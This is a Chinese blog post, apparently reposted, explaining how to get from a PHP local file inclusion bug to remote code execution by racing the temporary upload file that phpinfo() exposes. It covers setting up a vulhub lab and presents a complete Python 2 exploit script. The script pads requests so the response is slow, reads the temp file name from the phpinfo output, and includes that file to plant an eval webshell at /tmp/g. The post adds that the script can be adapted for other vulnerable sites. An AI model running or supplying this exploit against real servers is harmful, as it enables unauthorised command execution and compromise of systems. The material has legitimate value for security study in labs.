• 文件包含-phpinfo()


    我也是听朋友说有这个姿势的,github有集成好的环境

    先讲一下利用phpinfo上传文件,然后在文件包含的原理:

    在给PHP发送POST数据包时,如果数据包里包含文件区块,无论访问的代码中是否有处理文件上传的逻辑,php都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),这个临时文件在请求结束后就会被删除,同时,phpinfo页面会将当前请求上下文中所有变量都打印出来。但是文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,将这个文件名发送给文件包含漏洞页面。

    因为在第一个请求结束时,临时文件就会被删除,第二个请求就无法进行包含。

    但是这并不代表我们没有办法去利用这点上传恶意文件,只要发送足够多的数据,让页面还未反应过来,就上传我们的恶意文件,然后文件包含:

    1)发送包含了webshell的上传数据包给phpinfo,这个数据包的header,get等位置一定要塞满垃圾数据;

    2)phpinfo这时会将所有数据都打印出来,其中的垃圾数据会将phpinfo撑得非常大

    3)PHP默认缓冲区大小是4096,即PHP每次返回4096个字节给socket连接

    4)所以,我们直接操作原生socket,每次读取4096个字节,只要读取到的字符里包含临时文件名,就立即发送第二个数据包

    5)此时,第一个数据包的socket连接其实还没有结束,但是PHP还在继续每次输出4096个字节,所以临时文件还未被删除

    6)我们可以利用这个时间差,成功包含临时文件,最后getshell

    环境搭建

    https://github.com/vulhub/vulhub/tree/master/php/inclusion

    搭建完成访问  ip:8080/lfi.php?file=/etc/passwd    就会读取文件和包含

    要想利用成功,还得借助python脚本,根据这个原理,感觉就是利用脚本做条件竞争   

    https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py       之后别的站存在这个漏洞,这个脚本需要修改些地方,比如文件名

    #!/usr/bin/python 
    import sys
    import threading
    import socket
    
    def setup(host, port):
        TAG="Security Test"
        PAYLOAD="""%s
    
    <?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>
    """ % TAG
        REQ1_DATA="""-----------------------------7dbff1ded0714
    
    Content-Disposition: form-data; name="dummyname"; filename="test.txt"
    Content-Type: text/plain
    
    %s
    -----------------------------7dbff1ded0714--
    """ % PAYLOAD
        padding="A" * 5000
        REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1
    
    Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""
    HTTP_ACCEPT: """ + padding + """
    HTTP_USER_AGENT: """+padding+"""
    HTTP_ACCEPT_LANGUAGE: """+padding+"""
    HTTP_PRAGMA: """+padding+"""
    Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714
    Content-Length: %s
    Host: %s
    
    %s""" %(len(REQ1_DATA),host,REQ1_DATA)
        #modify this to suit the LFI script   
        LFIREQ="""GET /lfi.php?file=%s HTTP/1.1
    
    User-Agent: Mozilla/4.0
    Proxy-Connection: Keep-Alive
    Host: %s
    
    
    """
        return (REQ1, TAG, LFIREQ)
    
    def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    
    
        s.connect((host, port))
        s2.connect((host, port))
    
        s.send(phpinforeq)
        d = ""
        while len(d) < offset:
            d += s.recv(offset)
        try:
            i = d.index("[tmp_name] =&gt; ")
            fn = d[i+17:i+31]
        except ValueError:
            return None
    
        s2.send(lfireq % (fn, host))
        d = s2.recv(4096)
        s.close()
        s2.close()
    
        if d.find(tag) != -1:
            return fn
    
    counter=0
    class ThreadWorker(threading.Thread):
        def __init__(self, e, l, m, *args):
            threading.Thread.__init__(self)
            self.event = e
            self.lock =  l
            self.maxattempts = m
            self.args = args
    
        def run(self):
            global counter
            while not self.event.is_set():
                with self.lock:
                    if counter >= self.maxattempts:
                        return
                    counter+=1
    
                try:
                    x = phpInfoLFI(*self.args)
                    if self.event.is_set():
                        break                
                    if x:
                        print "
    Got it! Shell created in /tmp/g"
                        self.event.set()
                        
                except socket.error:
                    return
        
    
    def getOffset(host, port, phpinforeq):
        """Gets offset of tmp_name in the php output"""
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host,port))
        s.send(phpinforeq)
        
        d = ""
        while True:
            i = s.recv(4096)
            d+=i        
            if i == "":
                break
            # detect the final chunk
            if i.endswith("0
    
    "):
                break
        s.close()
        i = d.find("[tmp_name] =&gt; ")
        if i == -1:
            raise ValueError("No php tmp_name in phpinfo output")
        
        print "found %s at %i" % (d[i:i+10],i)
        # padded up a bit
        return i+256
    
    def main():
        
        print "LFI With PHPInfo()"
        print "-=" * 30
    
        if len(sys.argv) < 2:
            print "Usage: %s host [port] [threads]" % sys.argv[0]
            sys.exit(1)
    
        try:
            host = socket.gethostbyname(sys.argv[1])
        except socket.error, e:
            print "Error with hostname %s: %s" % (sys.argv[1], e)
            sys.exit(1)
    
        port=80
        try:
            port = int(sys.argv[2])
        except IndexError:
            pass
        except ValueError, e:
            print "Error with port %d: %s" % (sys.argv[2], e)
            sys.exit(1)
        
        poolsz=10
        try:
            poolsz = int(sys.argv[3])
        except IndexError:
            pass
        except ValueError, e:
            print "Error with poolsz %d: %s" % (sys.argv[3], e)
            sys.exit(1)
    
        print "Getting initial offset...",  
        reqphp, tag, reqlfi = setup(host, port)
        offset = getOffset(host, port, reqphp)
        sys.stdout.flush()
    
        maxattempts = 1000
        e = threading.Event()
        l = threading.Lock()
    
        print "Spawning worker pool (%d)..." % poolsz
        sys.stdout.flush()
    
        tp = []
        for i in range(0,poolsz):
            tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
    
        for t in tp:
            t.start()
        try:
            while not e.wait(1):
                if e.is_set():
                    break
                with l:
                    sys.stdout.write( "
    % 4d / % 4d" % (counter, maxattempts))
                    sys.stdout.flush()
                    if counter >= maxattempts:
                        break
            print
            if e.is_set():
                print "Woot!  m/"
            else:
                print ":("
        except KeyboardInterrupt:
            print "
    Telling threads to shutdown..."
            e.set()
        
        print "Shuttin' down..."
        for t in tp:
            t.join()
    
    if __name__=="__main__":
        main()

    python2 python exp.py your-ip 8080 100

     然后就去包含脚本生成的文件 /tmp/g  就可以执行命令了

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  • 原文地址:https://www.cnblogs.com/null1433/p/12691157.html
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